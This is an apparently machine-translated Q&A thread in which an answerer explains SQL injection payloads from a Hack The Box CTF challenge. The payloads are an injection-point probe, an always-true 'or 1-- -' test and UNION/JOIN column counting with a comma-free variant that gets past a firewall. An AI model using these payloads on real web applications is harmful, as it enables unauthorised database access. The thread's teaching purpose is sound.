Разъяснения о некоторых SQL командах впрыска - PullRequest
0 голосов
/ 11 января 2020

Я борюсь с веб-вызовом CTF (Capture The Flag) на hackthebox, не являясь экспертом в тестировании на проникновение. Я прошу вашей помощи, чтобы объяснить мне (с некоторыми комментариями) некоторые команды, используемые для достижения решения, особенно о синтаксисе и логике c самих команд. (Ссылка на команды может быть найдена здесь ( нажмите меня ), так что у вас есть вся ситуация очень ясна).

Я прошу вас быть очень подробным даже на вещи, которые могут показаться тривиальными. Оставляя в стороне кодировку base64 (что я понимаю), мне нужно понять эти команды и связанные с ними параметры (синтаксис и лог c команд):

1th: {"ID":"1"}

2nd: {"ID": "1' or 1-- -"}

3rd: {"ID": "-1' union select * from (select 1)table1 JOIN (SELECT 2)table2 on 1=1-- -"}

Про 3-ю команду я видел то же самое команда, но с изменением имен таблиц, например:

{"ID": "-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1-- -"}

В чем разница? Является ли имя, данное таблицам в запросе, не имеет значения?

Если вам нужны дальнейшие разъяснения или я не прояснил себя, просто скажите это, и я постараюсь вам помочь. Заранее спасибо.

1 Ответ

2 голосов
/ 12 января 2020

Этап взлома: разведка, сканирование, получение доступа, сохранение доступа и очистка треков. По сути это просто obtain information, затем do something with that information Кажется, что этот SQL обучающий модуль для инъекций используется для обучения получению информации о текущей системе.

Основы c для SQL инъекций вставляет SQL код / ​​команду / синтаксис. Обычно это делается в предложении WHERE (поскольку в веб-приложении часто есть функция поиска, которая в основном извлекает пользовательский ввод и вставляет его в предложение where.

Например, простейшая уязвимость может выглядеть следующим образом (при условии MySQL и PHP):

SELECT * FROM mytable WHERE mycolumn='$_GET[myparam]'

Полезная нагрузка - это то, что вы помещаете в параметр (например, myparam) для выполнения SQL внедрения. С помощью такого запроса вы можете ввести полезную нагрузку 1' OR 1=1 для проверки на SQL уязвимость внедрения.

1-я полезная нагрузка

1-я полезная нагрузка используется для проверки наличия точки ввода (параметр, который может быть введен) или нет.

  • Если вы измените параметр и на выходе произойдет изменение, это означает, что есть точка впрыска.
  • В противном случае точка впрыска не будет

2-я полезная нагрузка

2-я полезная нагрузка используется для проверки того, имеет ли целевое приложение уязвимость SQL для инъекций или нет (будет ли приложение дезинфицировать пользовательский ввод или нет).

  • Если приложение отображает все выходные данные, n это означает, что приложение имеет уязвимость SQL для инъекций. Объяснение: потому что запрос, отправленный в СУБД, станет примерно таким:

До внедрения: SELECT col1, col2, ... colN FROM mytable WHERE col1='myparam'

После внедрения: SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1-- -'

Обратите внимание, что в MySQL, -- (минус-минус-пробел) используется для пометки встроенного комментария. Таким образом, фактический запрос будет: SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1

3-я полезная нагрузка

3-я полезная нагрузка используется для проверки количества столбцов, которые запрос ВЫБРАЕТ. Чтобы понять это, вы должны понимать subquery, join и union (выполнить быстрый поиск, это очень базовая c концепция). Имя или псевдоним таблицы не важны (UT1 или UT2), это просто идентификатор, так что он не идентичен текущему псевдониму таблицы.

  • Если запрос выполнен успешно (без ошибок, приложение отображает вывод) , тогда это означает, что запрос приложения ВЫБИРАЕТ 2 столбца
  • Если запрос не выполнен, то это означает, что это не 2 столбца, вы можете изменить полезную нагрузку для проверки 3 столбцов, 4 столбцов и т. д. c ...

Пример проверки наличия в операторе SELECT 3 столбцов:

-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1 JOIN (SELECT 3)UT3 on 1=1 -- -

Советы: при изучении внедрения SQL гораздо проще просто набрать (или скопировать-вставить) полезная нагрузка на консоль SQL (используйте виртуальную машину или песочницу, если запрос считается опасным).

Edit 1:

basi c объяснение подзапроса и объединения

Подзапрос: это в основном помещение запроса в другой запрос. Подзапросы могут быть вставлены в предложение SELECT, предложение FROM и предложение WHERE.

Пример подзапроса в предложении FROM:

select * from (select 'hello','world','foo','bar')x;

Пример подзапроса в предложении WHERE:

select * from tblsample t1 where t1.price>(select avg(t2.price) from tblsample t2);

Объединение: объединение выходных данных выбора, пример:

tbl1
+----+--------+-----------+------+
| id | name   | address   | tele |
+----+--------+-----------+------+
|  1 | Rupert | Somewhere | 022  |
|  2 | John   | Doe       | 022  |
+----+--------+-----------+------+
tbl2
+----+--------+-----------+------+
| id | name   | address   | tele |
+----+--------+-----------+------+
|  1 | AAAAAA | DDDDDDDDD | 022  |
|  2 | BBBB   | CCC       | 022  |
+----+--------+-----------+------+

select * from tbl1 union select * from tbl2
+----+--------+-----------+------+
| id | name   | address   | tele |
+----+--------+-----------+------+
|  1 | Rupert | Somewhere | 022  |
|  2 | John   | Doe       | 022  |
|  1 | AAAAAA | DDDDDDDDD | 022  |
|  2 | BBBB   | CCC       | 022  |
+----+--------+-----------+------+

Редактировать 2:

дальнейшие пояснения по третьей полезной нагрузке

В mysql вы можете создать «буквальную таблицу», выбрав значение. Вот пример:

MariaDB [(none)]> SELECT 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

MariaDB [(none)]> SELECT 1,2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)

MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
|        1 |         2 |
+----------+-----------+
1 row in set (0.00 sec)

Цель создания этой «буквальной таблицы» - проверить, сколько столбцов содержит оператор SELECT, который мы вводим. Например:

MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
|        1 |         2 |
|        3 |         4 |
+----------+-----------+
2 rows in set (0.07 sec)

MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol, 5 fifthcol;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

Как показано выше, когда UNION используется в двух операторах select с различным числом столбцов, он выдаст ошибку. Следовательно, вы можете получить количество столбцов оператора SELECT, когда он НЕ выдает ошибку.

Итак, почему бы нам просто не использовать SELECT 1, 2 для генерации «буквальной таблицы» с 2 столбцами? Это потому, что брандмауэр приложения блокирует использование запятой. Поэтому мы должны go окольным путем и создать 2-колонную «буквальную таблицу» с запросом JOIN SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1

MariaDB [(none)]> SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.01 sec)

Дополнительное примечание: MariaDB - это «бесплатная версия» MySQL (так как MySQL был продан и стал собственностью). MariaDB поддерживает более или менее тот же синтаксис и команду, что и MySQL.

...